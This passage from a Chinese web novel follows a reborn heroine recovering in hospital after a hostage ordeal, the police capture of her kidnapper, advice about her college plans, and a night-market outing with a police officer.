她看出林语晨不想父母担心:“这种事瞒是瞒不住,但是可以说情况不严重。我找人跟你爸妈说一声,你爸妈就不会太担心。”
“谢谢阿姨。”轮到林语晨感激她们。
大家一起到医生说的加护病房,透过玻璃窗看到躺着的张天鸿。
他赤膊上身,胸口和右臂都缠着纱布,宛如一个大型人偶般安静地躺在床上。
这一幕对于张德梁和唐琪、茉莉来说很有冲击力,内心对亲人的怜惜、担忧一下子泛上来。
唐琪哭了,被张德梁抱在怀里安慰。
张茉莉挽住林语晨的手臂,轻轻地擦掉眼泪,又说:“语晨,这里有我爸妈,我陪你去病房吧。”
宋景赶紧应和:“是啊,是啊。”
——赵队临走前可说了,一定要照顾好嫂子和张天鸿。
“好。”林语晨看出张德梁夫妇已经无心搭理外人,同张茉莉一起去病房,又让宋景去忙自己的事。
等她坐在床上,真成病号,一直以来紧绷的精神肉眼可见地松弛,带着疼痛,慢慢地睡着了。
宋景同张茉莉打声招呼,先行离开。
下午四点左右,唐琪买来水果和住院需要的日用品,发现茉莉已经无聊得在看小人书,拍了女儿一记。
“你哥、同学都这样了,
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还有心思看故事书。”
“妈,我想替林语晨当人质,林裕宝敢绑我吗?我想去抓林裕宝,你让我去吗?我就说哥没用,被挟持还给混蛋开这么远。”
张茉莉躲着亲妈打来的手,接过亲妈另一手的水果,看向熟睡的林语晨,“语晨吃苦头了,睡这么死。”
“她比你大吧?喊姐姐!多亏她,你哥才能被及时抢救。”唐琪把买来的日用放起来。
“我不要!我又不缺姐姐,倒是缺嫂子。她和我是同学,我就喊她名字。”张茉莉趴在林语晨床头,拨弄她的刘海。
唐琪轻拍在女儿的手背:“别吵醒她。回头我跟你小婶说说,给这姑娘谋划谋划,听说她很用功。”
“嗯。”张茉莉坐直,一本正经,“确实用功,就是白用功,上不了好大学。”扯个假笑给亲妈,“同你女儿我一样。”
“你这孩子,几斤几两就说人家。谁说成绩差上不了好大学,听过捡漏吗?”
唐琪看着女儿亮起来的眼睛,塞一颗桃子给她,“等她醒来再说。我去看看你哥,你好好陪在这。”
“嗯嗯。”张茉莉看亲妈离开,又捧起小人书。
——
林裕宝露了行踪,看着不远处驶来的公交车,窜进山里,往狮虎村的方向逃去。
市局会议上,赵有归等人推测林裕宝之前从祠堂逃脱,极有可能得到狮虎村村民的帮助,而且他手上有孙不二的一斤货,不可能拿着货跑,一定放在某处地方。
这个地方极有可能是狮虎村村民——方罗金家。
祁连带队,勘察张天鸿车子打转的马路地面,推测说:“这混蛋极有可能逃回狮虎村。走,我们直接去狮虎村。”
赵有归赶来时,祁连已经指挥队员包围狮虎村,不等狮虎村民闹起来,一起带人闯进方罗金家。
林裕宝正在吃饭,一把拉住错愕的方罗金,拿枪抵着兄弟脑门:“呵,来得挺快啊。赵有归,张天鸿死了没?”
方罗金年过四十,瘦尖的脸型同林裕宝有几分相似。
他举起双手:“林哥,我是你兄弟啊……”
“闭嘴!”林裕宝拿枪的手用了几分力抵在他的脑袋。
赵有归凶悍地盯死两人:“没死,抢救及时,活下来。”
“不可能。”林裕宝大吼,又低头暗骂,“臭娘们,竟然会开车!你把孙大哥给我放出来,否则,我杀了他。”
方罗金的神色从慌张、镇定,再次转为惊恐:“林哥……”
赵有归冷笑:“你杀吧。”
钱育才和一干持枪弟兄:“赵队……”
赵有归冷漠说:“这种人不是帮凶吗?若不是他帮你逃过一次,你还能闹这一出?今天你杀了他,来日,你在道上还有名声?还有,这关头跑来他家吃饭,你的货呢?送给方罗金抵饭钱啊。”
方罗金的神色有瞬间变白,眼神也不敢看向对面一群警察。
林裕宝已经怒火高涨,转手给赵有归一枪。
然而,赵有归的枪更快,子弹射出,擦过林裕宝的手背,却击中他弯曲的腕骨处,而林裕宝后射出的子弹微偏,上挑几分,擦过赵有归的额头头皮。
于此同时,左右两侧的祁连和钱育才猛扑过去,兼方罗金自己也想活,一起反控制住林裕宝。
“不许动。”钱育才急巴巴喊出这话。
赵有归擦着头发里滑落的血,看着已经被收缴枪械和刀具的林裕宝,一声不吭走过去把人从地上拎起来,兜头就是两拳兼一脚。
一拳在胸口,一拳在脸,再有一脚踹后背。
回不过神的钱育才:……赵队,这样不合法!
震惊的祁连:……赵有归,你当我瞎呢?
认真做事兼傻眼的弟兄们:……赵队平时挺温和一人吧。不随便咬人,这次……动真火了。
林裕宝被打的头昏眼花,口齿喷血还在呵呵冷笑:“呵呵……张天鸿死了,对吧?我……够本了……呵呵……”
赵有归抽动唇角,推开来拉的祁连,再次拎起林裕宝给他照脸一拳,直把林裕宝打得牙齿松动、趴在地上起不来。
深吸口气,咽下心里的怒火,冷静地沉声说:“张天鸿没死!”朝目瞪口呆的钱育才说,“留下方罗金,把其他人都带回去。”
“是,赵队。”钱育才和弟兄们赶紧带半残的林裕宝和人质的家人回局里。
祁连看着擦额头的赵有归,递去一块手巾:“擦擦血。怎么这么大火气?为张天鸿报仇?可我听说这次被林裕宝劫持得还有名女士,你那个同村的老妹,难道你们真在谈,为她出气啊?”
赵有归瞟他眼,把人盯得后背冒汗。
他拿过手巾,干脆地捂在额头上擦掉血迹,临出门说:“林裕宝拿走得那斤货应该就在这,麻烦你带方罗金找出来。”
“……”祁连看着大步离去的男人,对着他的背影来一拳,啧了声:“命真硬!我还是第一次看到子弹擦额头会上飞。这人脑门长眼,还是子弹会拐弯啊?你说?”
被问的队员激情四射,快口说:“当时我正好在他后侧方,赵队好像上仰了一点点,这种反应一定是在战场上生死一线时练出来的直觉。我们普通警察学不来。”
普通警察代表——祁连噎了下,朝善后的队员们大喊:“方罗金呢?带过来。大家动作麻利点,快点找东西,找不到谁都不准下班。”
50. 真勇敢
灵江市里,沈秋霞听完宋景的电话,赶紧做出一汤一菜,拎着晚饭,疾步去医院看望林语晨。
林语晨已经睡过一觉,精神好很多,看到沈秋霞还吓一跳:“婶婶,你怎么来了?”
沈秋霞轻轻地摸在林语晨的脸颊,满脸怜惜:“你妈要是看到你这样,得心疼坏了。疼吗?”
林语晨想给她笑一个,扯到伤口,做个龇牙咧嘴的表情:“……还好。”
沈秋霞陪她笑个,拿来小餐桌,边念叨:“晨晨,这事得怪有归。他身为警察,怎么抓不住犯人,真没用。”
林语晨看她像蝴蝶一样转来转去忙碌,赶紧说:“婶,别忙了。”想说张茉莉去买饭了,沈秋霞已经把饭摆到面前,只好说,“那个……坏人说了,嘶……疼。”
摸了下唇角,听着沈秋霞说“别说话了、歇着”,还是说两句公道话,“坏人熟悉地形,又有人帮他逃脱,不能怪有归哥。”
“你还帮他说话,他是警察,没有抓坏人的责任吗?你看这脸,遭大罪了,也不知道能不能好好吃饭。”沈秋霞把勺子筷子摆好,“多少吃一点,身体有力气,伤才好得快。宋景给我打电话,说你受伤,我就赶紧过来。时间有点赶,骨头汤不一定入味,将就吃。”
“谢谢婶。”林语晨能少说一个字就少说,吃起她拿来的饭菜。
刚扒两口,赵有归闯进来。
“有归哥?”真不经念叨!
“晨晨!妈?你来了。吃上了?”赵有归风尘仆仆,脸上是掩不去的疲累,看起来忙了好几天的样子。从狮虎村回来,他已经忘记提醒过宋景给母亲打电话这回事。回局里后,他记起林语晨可能没吃晚饭,赶紧打了饭过来。
这会手里的铝盒有点烫人。
沈秋霞睨他:“打饭了,吃了吗?一定没吃吧,快过来一起吃饭。”
林语晨忍不住咧嘴笑,又痛地扭曲脸色。
——斯哈。不愧是母子,说话语气都差不多。
“有归哥,嘶……抓住林裕宝吗?”
“你先别说话,好好养着伤口。林裕宝被抓住了。”赵有归知道她关心什么,一骨碌说来,“他逃去狮虎村的一户村民家里。之前,这户人家被我们怀疑帮助过林裕宝。这次正好逮个正着,一锅端了。”
人坐在床边,打开饭盒,“不够吃的话,这还有。”
目光落在她泛青紫的脸颊、破了皮的唇角,只恨当时打林裕宝的几下还是太轻。
林语晨看着两双关心的眼睛,抚在撕裂的唇角。
“……行吧。”
重点其实不是嘴角,而是胸口,青大片。
不然,医生不会让住院观察两天。
护士进门:“家属在呢?正好,吃完饭帮她抹药,特别是胸口,皮都青了,得缓慢散淤,最好能轻轻地揉几下,别伤到肋骨。”
林语晨的脸色爆红,搭上青紫色,像是开调色盘。这辈子还没这么尴尬过!幸好这几人都没看过来。
赵有归蹙紧眉:不能轻不能重,手法很重要。
沈秋霞接过护士递来的药,放在床头柜:“一会我帮你揉吧。”
“不用……”林语晨垂着头吃饭,默默调整呼吸,让脸上温度降下来。她借着说话瞥眼赵有归,那扫来的眼神似乎写着不赞同,小幅度轻声说,“……茉莉在,茉莉学过……”
“哇,真热闹!”张茉莉拎着饭盒进门,看着小餐桌上丰盛的菜肴,调侃句,“语晨,这吃得下吗?三份饭。”
“你笑啥?”林语晨轻嗔她眼,“……来得正好,一会给我抹药。”又朝她挤眉示意。
弄眼是不行了,扯到皮,疼得慌。
张茉莉不明就里:“抹哪啊?这么紧张、这么夸张……”
沈秋霞侧过头去笑。
赵有归转脸朝窗户,眼中心疼大过对林裕宝的怒火。
“妈,晨晨就麻烦你了。我问过医生,得住院观察两天。”
离开前就知道林语晨伤在哪里,不然也不会给林裕宝胸口、脸面各来几拳。
至于张天鸿的仇,法律会给林裕宝应得的审判。
沈秋霞赶紧答应:“你不说我也会照顾晨晨。”
赵有归看姑娘慢慢吃着饭,又说:“我给赵家村村委打电话,喊了林叔接电话。他已经知道你的事。
明天一早,林叔和林姨会坐早班车过来。”
“啊?”林语晨咽下饭,望向看热闹的张茉莉,“唐阿姨……”
“张叔派造纸厂的人跟林叔林姨说过一次。不然,他们今晚就会赶来。”赵有归起身,边说,“你设身处地想,若是他们哪个出点事,你不连夜赶去?”
林语晨:……
道理是这么个道理。只不过,重生归来,第一个想法就是不能让父母再为自己担忧。不管什么事,都不行。
赵有归是站在家属的身份考虑事情,也挺有道理!
——家属?
林语晨的脸再次发热,继续低头扒饭。
赵有归像是个操心的老妈子,转眼看到母亲沈秋霞在暗笑,也觉得不自在,临走前又说:“茉莉,这里就拜托你了。我去看看你哥。”
被点名的张茉莉立时肃正,恭恭敬敬点头:“放心吧,赵哥!”
再挥手,默念:赵大哥,赶紧走吧。暗恋的粉尘味都呛喉咙了,我忍不住就想笑你两句,快憋不住了。
沈秋霞轻咳,压住要笑的唇角,起身送儿子:“有归,你的饭还没吃呢,回队里记得吃饭。”
赵有归看眼母亲和林语晨,回了抹笑容:“我回局里吃。”说完真就走了。
林语晨暗松口气,看着兴奋的张茉莉:“你这么高兴,嘶……你哥醒了?”
“嗯?你真不知道我在笑啥啊?”张茉莉看沈秋霞倒水,想想还是不调侃好朋友,“嗯啊,我哥醒了。刚才我去吃饭,我妈都高兴地多喝碗汤。
我爸么,看着那车上的血,心疼坏了。好在我哥命大死不了。”
张茉莉把带来的饭盒打开,“饺子、红烧肉、肉饼蒸蛋、杭白菜、排骨汤……林语晨,你要怎么吃完啊?”
林语晨把她带来的饺子推回去:“你吃这个,嘶……红烧肉也给你。你练武,这点饭量……难不倒你。”
张茉莉还真夹起饺子吃上了。
她这年纪就是爱吃的时候。何况,张家尽管富裕,张德梁和唐琪却奉行勤俭节约,平时家里也不是经常吃大肉。
这会碰上荤腥,张茉莉怎么不多吃两口呢。
沈秋霞在床头放好水杯,接上说:“多吃点菜,饭吃不完就剩下。有归住的院子里有人家养狗,啥都吃。你们别撑坏了。”
扒饭的林语晨:……
嚼肉的张茉莉:……
两人对上眼,林语晨压着唇角不能笑,怕疼;张茉莉吞下肉,抱着肚子哈哈哈大笑。
沈秋霞不明所以:没说啥笑话啊。
后知后觉地反应过来,那话……太糙了,这还两个大姑娘,怎么和狗说一块去了。
“哎……我不是那个意思。在城里待得无聊,跟那……狗有点感情。哎呀,瞧我这嘴……”
张茉莉赶紧说:“沈阿姨,没事没事啊……哈哈……”
——
隔日,天刚亮,林爸和林妈就奔来医院。
林兰香摸着林语晨的脸,眼里又是心疼又是责怪:“林家就没有个好东西。”
林大宝:“……阿香,你不能把自己骂进去啊。”
林兰香红双眼瞪去:“我说你这支了吗?疼吗?”
林语晨看着爸妈的状态,知道他们一晚上没睡踏实,赶紧说:“不疼。其实,你们真不用来,沈婶婶在这,昨晚她都没回去。”
“那感情好,妈来照顾你,让沈嫂子回家休息。”林兰香直接道,见沈秋霞拎水壶和早饭进门,“沈嫂子。”
“阿香啊,大宝,你们来了。”沈秋霞赶紧把早饭送到林语晨的小餐桌上,“有归送来的,没说句话又走了。说是局里忙,大宝啊,嫂子对不住你,我和有归没照顾好晨晨。
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”
林大宝手足无措,憨笑说:“沈嫂子说什么话,这哪能怪你和有归啊。”
林兰香瞪了眼林大宝,接过饭盒子,拿勺子喂女儿。
“沈嫂子,这种事是意外,怪不到谁。你别自责。说起来有归有心了,多亏他告诉我们。不然,我还不知道女儿是被姓林的打成这样。”
林语晨囫囵吞着早饭:“……妈,我也姓林。”
林兰香有心骂她句,又舍不得。“赶紧吃饭,吃完好好歇着。”
又说,“我向赵家兄妹打听,赵雪梅还拦着不让我问,说两人都受惊吓,晓鹤还发烧了。琳琳跑出来同我说了一点。我听说有枪,魂都吓没了。若不是赶不上末班车,昨日个晚上就来了。”
林大宝看女儿的神色似有话说,猜到她要问什么,先一步说:“你别担心,晓鹤没大事。赤脚医生已经给他挂上盐水,看着是受惊和脱力引起的发烧。晨晨,这事不能怪晓鹤啊。”
林语晨松了神色,奇怪反问:“我怎么会怪他呢?当时,他不管不顾跑来救我,感激他还来不及。”
林大宝看女儿通情达理,很欣慰。
林兰香轻声说:“今早我赶着出门,赵雪梅就跑来说,晓鹤发一晚上的烧,烧糊涂了,一会念你的名字,一会念茉莉……茉莉……我听着不就是你那同学吗?”
“啊?”林语晨差点就想笑,“茉莉……带着晓鹤躲过一枪,估计是被她震住了。”
沈秋霞就说:“美女救英雄。说不定晓鹤喜欢上人家姑娘。”
林大宝忍俊不禁,也不好同几人八卦,就说:“我去找医生问问你的情况。沈嫂子,先回家休息吧,这里有我和阿香在,谢谢你。”
“见外了。当初我生病,不也麻烦你们两口子和晨晨嘛。我先回家,中午我拿饭来,你们别在外面买。”沈秋霞更想请两人上家里吃顿饭。不过,晨晨在病房,两口子怕是不肯离开。
她见林兰香要说话,赶紧说,“阿香不准说不啊。等晨晨出院,有归再请你们上家里吃。”
林兰香先笑应了。
林大宝送走沈秋霞,一瘸一瘸走回来,坐在女儿的床头,看了林语晨好久,压下眼里的爱惜,赞说:“我女儿好样的!真棒!”
林语晨回他个龇牙咧嘴,缓缓说:“当时怕死了。爸,你知道吗?我现在知道‘祸从口出’这个词语没错。林裕宝看到我阻止赵晓琳帮林飞成,记恨上我。县街上,他为报复我,还有……嘶……”
“记恨?他这种人合该千刀万剐。还有,棒什么棒,下回碰到这种事给我机灵点,躲远点,知道吗?”林兰香一顿输出,眨去眼里的泪水,“别说话了。嘴角又红了。”
阻止女儿吧唧说话,又去拿毛巾给女儿擦嘴擦手,“我就说他们这支坏透了。”
林大宝长松口气,暖暖笑着:“我女儿受罪了。你妈说的对,下回记住,别逞强。”待林妈转身洗毛巾,又轻声说,“女儿,再遇到这种事还会坚持开车,送他进医院吗?”
林语晨想着那一定是能躲多远就躲多远。
不过,林爸的心思正直,不会想听到这句话。
“当然了。天鸿哥本来可以不管我,但他没有。投桃报李么,爸不也这样教我吗?”
“果然是我林大宝的好女儿。”林大宝赞说。
林兰香一记重手打在林大宝后背:“教得什么东西。你女儿是这个意思吗?人家若是不管她,她也不会管人家。自己女儿什么心思都不懂!”又说,“晨晨,下次碰到这种事,妈支持你躲远点。对了,什么时候学了开车?”
“……”林语晨眨眼,“姓楚的教的……”
林兰香的脸皱成团,狐疑说:“你不是不喜欢他吗?”
林大宝赶紧说:“技多不压身。好手艺能学就学。”
“你的原则呢,真是灵活多变林大宝啊!”林兰香嘲他。
林语晨看着再次斗起嘴的父母,不由歪头笑。
外面的阳光很热,即将进入繁花盛开的六月,真好!
51. 逛夜市
张茉莉和她的小婶一起到医院看望张天鸿,顺便拿来鲜花看望林语晨。
昨晚,张茉莉住在张校长家。
张校长的妻子——李丽珍是留洋回来的先进女士,穿着打扮完全是这个时代天人级别。
她不仅家世好、眼界高,还特别潮。
一袭圆领白底大花连衣裙,露出圆润的膝头、曲线优美的小腿,再有白色带水晶袢的高跟鞋,衬得人很有气势。
裙子的面料挺括,一看就是最新最好的料子,勾勒的身材极好,特别是上身,挺翘饱满,足见内衣也不是普通货。
外罩一件短款淡紫开衫,多三分这个时代的知性美。
纤细的脖子上戴着昂贵的钻石项链,首饰映人,却不会喧宾夺主。
张茉莉瞧着病房里的人都呆了,靠过去对林语晨悄声说:“我小婶是从国外回来,在港地也生活过,去过台省。这些小人书是她辗转托人寄回来。小婶可厉害了,我叔娶她时说是跪回来的妻子。”
“……”林语晨想说再过两年,港台电视剧在大陆流行,西式求婚也会随之传扬。
张校长跪求来妻子!这话没错!
李丽珍看着林语晨就念出一句诗:“孟子说:美人在骨不在皮,君子在志不在形。我家老张是有志君子,今日个遇上难得一见的美人骨,真是不错。”眼眸流转,大方夸赞,“原来,妈妈就很漂亮,爸爸长得也帅。”
林兰香知道她在夸自己,不由红了脸,也不拘着了,赶紧拿茶杯给她倒水。
“谢谢您来看语晨,请喝水。”
林大宝乐呵地笑两声:“喝水,请喝水。”
张茉莉已经张大嘴:“小婶,你认真吗?语晨都这样了,还美人呢?”挨了林语晨一记,赶紧说,“她皮相好的时候确实好看。我帮她的时候早忘记姓赵的叮嘱,把她代入故事书里的女主角。哈哈哈……”
李丽珍谢过林妈林爸,拿着杯子喝了浅口,又朝林语晨说:“天鸿是老张的侄子,谢谢你救了他。昨晚茉莉同我睡的,说起你来市里的目的。我家老张也提起你。如果你不介意的话,我对你的未来提两句。”
林语晨瞬间坐直:“李……师娘,您请说。”
张茉莉眨眼,朝林语晨竖起大拇指,看不出来好姐妹还是个顺杆爬的主!
一旁的林妈林爸也是大气不敢喘,静静地听着李丽珍说话。
李丽珍莞尔:“今年是好年,全国各地有不少新成立的专业课程,也有很多冷门的专业。若是你愿意,高考结束,我帮你参考、选报志愿。但是,专业关系你的未来职业生涯,乃至整个人生。我帮你参考,不一定是你喜欢的专业。这样你也愿意吗?”
林语晨沉默了一会。
这年头高考完,成绩出来前填报志愿,一月后出成绩再看各校的录取情况。所以,对于成绩一般的学生来说,存在“赌”的成份。
李丽珍掌握得就是这份信息差。
一般情况,她不会主动对人提这事,这次是多亏张天鸿的意外。
林语晨的成绩意味着高考报选的专业只能选冷门。
仔细想,不一定要高考。
只是这辈子想要走一条不一样的路,去另一条道上看风景。
人生匆忙,且共从容。这是重来一次后对未来定下的目标。向楚邵、林菲儿复仇、赡养父母只是人生的一小部分,而活出自我才让重来一次的人生更有价值。
这一点必须得感谢赵有归。
林语晨舒缓了面容,暗笑:若不是他的间歇性道德教育,有时候真得会失控去做些什么。
病房里很安静。
张茉莉耐不住说:“小婶,这就是捡漏啊。那我呢?”
李丽珍打趣她:“你不是被省体局预定吗?”
“……我才不要呢。我知道港台有武打明星。我要去当武打明星。”张茉莉抬起下巴。她这个想法只跟李丽珍提过,还不敢对唐妈和张爸说。
李丽珍扬眉,妆容整齐的脸庞绽放大大的笑容:“你先过大哥大嫂那关。”目光落在林语晨身上,似在等她的回复。
林爸林妈急起来:“晨晨……”
林语晨慢慢说:“师娘,我会在剩下的时间努力把成绩提上去,请你帮我选一个有机会出国深造的冷门专业。”
李丽珍露出惊讶的表情,为她清晰的目标有些错愕,又极快地恢复笑靥。
“你的要求很明确了。今年真有这么个专业。北师新开一门专业课程,比较深奥晦涩。这门课在国外发展很好,但是国内还是首次认识到它的存在。呵,若是政策理想,未来是极有可能出国深造,再归国教书。
我看你对学什么,好像没有太多要求?”
李丽珍的眼界让她一眼看到这门专业的未来以及职业方向。
“学什么不重要,走上那条路看不一样的风景才是我的目标。”林语晨道出理想。
李丽珍越发喜欢这个女孩:人家说爱好变成专业才能持久。其实,这个世界上很多事都很有趣,不有趣得只是你对人生的态度。这个女孩通透得让人刮目相看,尤其是气质也很迷人!
若说一开始想帮她是出自于老张家、张天鸿、茉莉的请求,接下来,她是真心想要帮忙,这大概是人与人之间的缘分。
张茉莉眨眼:“我以为自己已经够出格了。”
林大宝震惊:“阿香,我怎么听不懂,这是说晨晨未来可以当老师吗?”
皱眉的林兰香:“你听重点吗?先出国!”
林语晨向李丽珍点头,再次致谢,又看向一旁回不过神的父母:“爸妈,别担心,我知道自己在说什么。如果真有出国的机会,我会解决留学的学费问题,你们不用有压力。”
李丽珍欣赏这个人格独立的自信女孩,甚至有些好奇:留学费用不是一笔小钱。即使有政策扶持和补贴,以这家人的情况,余下的生活费用也是非常大一笔开销,这个女孩又要怎么解决?
“语晨,我会通过老张跟你联系,好好养病,好好考试。”又朝林爸林妈点头,“我先走了。”
“谢谢。”林语晨示意茉莉送李丽珍,看着爸妈送完人后去而复返,对上两张紧张的脸,赶紧说:“爸妈,你们真得别有压力。”
“别说了。你长大了,想做什么就去做。”林兰香暗吸口气,出门洗用过的杯子。
显然,她还没有从女儿的大志向里缓过神。
林大宝轻声说:“晨晨,爸爸会努力上班。”
林语晨想说上班这点钱上大学堪堪够用,对于留学根本是杯水车薪,但好像解释不清楚。
“政策扶持的话,留学的费用很少。而且,我还不一定真能去呢。”
林大宝却觉得女儿一定能去,下决心早点回去上班,多攒点钱。
“别怕,咱家存得那点钱,供得出大学生。爸妈还会继续赚钱。”
林语晨知道再说什么都没用,爸妈已经自愿背起这份责任。
午间,沈秋霞送来饭菜,陪着林家一起用饭,还邀请林大宝夫妻晚上到家里住。
“有归说,晚上他来陪床。”
“这不太好吧?”林兰香觉得真不合适。
林语晨还有点事同赵有归谈,帮着沈秋霞劝林爸林妈:“妈,听婶婶说有归哥好几天没回家,你们正好去睡他家,让他来这睡。”
“这什么道理?”林兰香觉得不靠谱。
“因为我现在是见义勇为好公民啊,市局难道不该表扬我?有归哥打着看望我的名义可以光明正大休息,不用加班!”林语晨眨眼。
三位家属一脸:说得好像有点道理,但不多。
沈秋霞感觉心里滚烫:“我跟语晨说了一嘴有归一直在局里加班,睡得少。她就记在心上,真是善解人意的好女孩。”
林语晨:……其实不是!
林大宝有自己的想法:“沈嫂子,让有归回去睡。阿香留在这照顾一晚。我想今天就回去,同造纸厂请一天假,若是明天再请……不合适。”
“爸,”林语晨瞬间明白:林爸是听了上午的话,赶着回去赚钱。
林兰香看出他的意思,点头:“行。你先回去。明天医生说晨晨没事,我给她办完出院手续就一起回去。”
沈秋霞不及说什么,看着林大宝叮嘱女儿几句后蹒跚地离开。
“阿香,林大没事吧?”
“没事。”林兰香扯个“有事”的笑容,瞪向翻看小人书的女儿。
晚上的时候,沈秋霞还是拉了林兰香去单位分的房子住一晚。因为赵有归打来电话,若不用陪夜,就不回家休息了。
沈秋霞舍不得,林兰香也觉得该帮帮赵有归,就答应让他来陪夜。
晚间,林语晨用过饭就睡着了,睡梦中被一道视线紧盯,自然而然醒过来。
侧头看去,对上一双昏黑不明的眼睛,先是一惊,转而意识到这人是谁。
“有归哥,什么时候来的?”说出口才发觉声音沙哑,有点干。
赵有归没想开灯,借着楼道上的灯光,拿起准备好的水杯:“没多久。这水还热呢,喝点水。”
说是热,又起身加一点热水进去,再递去。
林语晨接过水杯,摸着温热的杯壁,喝了大口,又轻轻地笑了声。
“笑什么?”赵有归在半明半暗里无声地跟着她笑。
林语晨眨眼:这水有点甜。
递回水杯,看他放回桌面,忽然说:“今天,我和爸妈说想出国。”
赵有归微愣,转脸看去,神色带着不分明的错愕,坐下后恢复平静。
“有志者事竟成。”
林语晨的眼波微漾:“嗯。谢谢。”
这话过后,病房的气氛沉静几分。
赵有归又坐一会,起身拉出宋景带来的折叠床:“没事的话休息吧,有什么需要喊我。”
“好。”林语晨看他躺在不大的折叠床上,还有一截小腿和脚伸在外面,轻声问,“有归哥,最近很累吗?”
赵有归嗯了声,心头那股蕴漾的不舍、酸楚情绪已经被他消化。
“518案子差不多可以收尾,接下来不会忙。对了,孙佳人已经被拘禁,涉嫌雇凶打人、教唆他人寻衅滋事。那两个到县高搞事的罗四丰、马文成,被拘在江源县。”
林语晨真没料到他会知道这事。
虽然,她有想过跟赵有归报备一声淳于蓝爸爸被打的事,让孙佳人进去住几天。
“谢谢。”
赵有归没应,像是睡着了。
林语晨又说:“张茉莉好几次都说起你。有一次,我听得迷迷糊糊……好像你认识她家?”
赵有归睁双眼看着病房的暗黄平顶,外面的灯光给昏暗的室内镀层朦胧的光晕。
“张天鸿是我的战友。听说你要回县高,拜托他妹妹照顾你一二。这没什么。”
林语晨静静地坐靠床头,看向那个躺着一动不动的身影。
这个姿势很不舒服吧。他放松时会垫手入睡。
这会想起来,竟觉得大男人这样睡有几分可爱。
“笑什么?”赵有归侧头看去,发现林语晨还坐着,暗自检讨:警觉性竟降低了。
他也坐起来,压着折叠床发出咯吱声:
“需要什么,饿了吗?”
“你吃过吗?”
两人异口
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同声。
“嗯。”赵有归笑了下,“饿了?”
林语晨被心头那股不自在搅得有些出神:“听说灵江市的夜市很热闹,我想出去走走。”
说完才发现真说出来了?
一颗心跳得像是打鼓,等着被一本正经有原则的男人拒绝。
“好。”赵有归起身想帮她拿衣服,反应过来不合适,开了灯走出门,“我在走廊等你。”
林语晨看着关上的门,消失的背影,沉默了片刻,开始换上林兰香带来的衣服。
等她穿着整齐出门,与男人低头望来的眼神对上,一时间好像不知今夕何夕、又为啥站在这……只露出个说不清的笑容。
“……好了。”
“走,这边。”赵有归一把拉上隔着衣服的纤细手腕,快步往另一侧过道跑。
深更半夜,走廊上是两人轻巧的脚步声。
护士抬头看去:“哎……你们……”晚上也不敢喊大声,赶紧奔去林语晨的病房,生气说,“还真跑了?”
赵有归带林语晨站在吹着舒爽夜风的大街,生出一点不真实感。
林语晨压着唇角闷笑:“我以为你会跟护士请假。”
“请了,不让。”赵有归无奈地看眼医院,看向林语晨时像在说:所以,只能带你逃跑。
“呵呵……”林语晨笑得停不下来。
“不疼了?”赵有归看着她的唇角,真怕又裂开,“别笑,再忍几天。其它地方还疼吗?”
林语晨被问自闭,抬眼看去,赵有归也已经转看街头,似在考虑走哪条街。
她知道他是下意识问,问了又犯尴尬症。他尴尬,自己就不尴尬了。
“好多了。走吧,我真想吃点什么了。”
“嗯。现在应该有切糕和羊肉串,刚流行。归队的时候见过在南京街,去吗?”赵有归看去,等着她回答。
“好啊。但是切糕很贵吧?”林语晨跟着他的脚步一路穿街走巷。
“想吃吗?想吃就买。”赵有归侧头,笑了声,“以后出国就吃不到了。”
林语晨睨他:“你这么相信我一定能成啊?”
“嗯。”
“为什么?”林语晨不解。明明从他的眼神里看出不舍,却什么都不说,这个男人!
“因为,你是林语晨!”赵有归停下脚步。这一刻,他真得很有冲动说点什么挽留她。
但是,她是林语晨啊,那个曾经从商战、吃人的黑势力团伙里杀出来的林语晨。她一直记得自己有多大的能量,所以,做下决定后不会放弃。
自己也不应该是阻拦她前进的拦路虎,而是应该成为她的助力才对。
——林语晨,我比你自己更了解你。
“走吧。”
林语晨看着那个走出去的高大背影,心里淌过一阵热流。
徐徐地夜风像是在帮他说着挽留的呢喃。有一刻,她真得很想坦荡,坦荡地爱一次。
不管是否会遍体鳞伤,就是在这个年纪尽情去爱。
大声喊:“赵有归!”
赵有归早已停下脚步,回身看去,沉稳内敛的眼神被黑眼圈压出一股明光。
“太快了。等等我。”林语晨跑两步,与他并肩,无声说:
赵有归,我也相信你一定能找到一个适合你、愿意为你付出的女生。那个人或许是赵晓琳,也或许是别人。
两人穿过热闹的夜市,买两手指厚的一小块切糕。
师傅确实要狮子大开口,可是在看到赵有归特意挂在胸前的证件时又报正常价格。
林语晨吃着粘牙的果仁糕点,戳在他胸口的证件上:“有归哥,你真是个机灵鬼。”
“那边还有羊肉串。”赵有归任她戳着,看着掰来的拉丝切糕,迟疑下后张口吃了,目光有点亮,“好甜。”
“哈哈,你不是喜欢桂圆下酒吗?应该喜欢吃甜的吧。”林语晨调侃他做过的事,随他向羊肉串摊走去,一边观察夜市上的情况。
城里的流动人口多了不少,各大店铺在晚上还售卖家电、衣服、丝巾、磁带、二手三手的杂志书……虽然物品的种类不是很丰富,但是人们的热情还是很高,也特别容易满足。
她接过赵有归递来的羊肉串,拉他走到书店门口,拿起摆在门前摊上的《世界文学》杂志。
“这是老杂志哎。”不对,现在还是新货,以后是绝版稀罕货。
她赶紧朝赵有归说,“突然想剪报,贴报本了。”不让他把注意力留在“老杂志”上。
赵有归移开看杂志的目光,神色有些惊讶,没想到林语晨有这爱好。
“喜欢哪家的报纸?”单位订好几家,有时候也会收集、存档各类社会新闻。
“嗯,不拘哪家。”林语晨缓缓说,“一些相关的政策、商业消息。你知道吗?我背政史最轻松,它们就像遵循时间线在发生固定的事,每个重要节点发生什么,我基本都能做到心里有数。”
赵有归笑:“现在想要收集什么?”
“唔……”林语晨摇头,拉他离开摊子,去逛琳琅满目的店铺。
街角巷口有修伞、修鞋的小摊子,拿糖葫芦的移动摊贩,还有移动小吃摊……没有城管管理的夜街,充满一种原始的气息。
“高考完,我知道该做什么了,真期待啊。”
赵有归看她出神思考的状态,护在一旁:“今年一定是个繁忙的夏天。”
“嗯。回去吧。”林语晨知道他很累,走了这么久已经可以了。
她会一直记得这个夜晚,记得这个黑眼圈很重的男人眼中藏着的情谊、内心的隐忍,释放给对方选择的自由……一直铭记。
52. 童年梦
“赵队好消息。传说中的女人找到了。”宋景急奔进办公室,却看到赵有归靠在椅背上睡着了。
又轻手轻脚地出办公室,被祁连队长搭在肩头,吓一跳。
祁连瞟眼办公室里睡熟的赵有归,拉宋景到大堂:“资料给我。”
宋景不愿意。这可是办李虹基的资料。
“给我。”祁连上手抢,拿到后拍打委屈的宋景,“怕我抢你们赵队的功劳啊?你看看他,昨晚好不容易回去休息,今天回来还是这副没睡过的样子。”
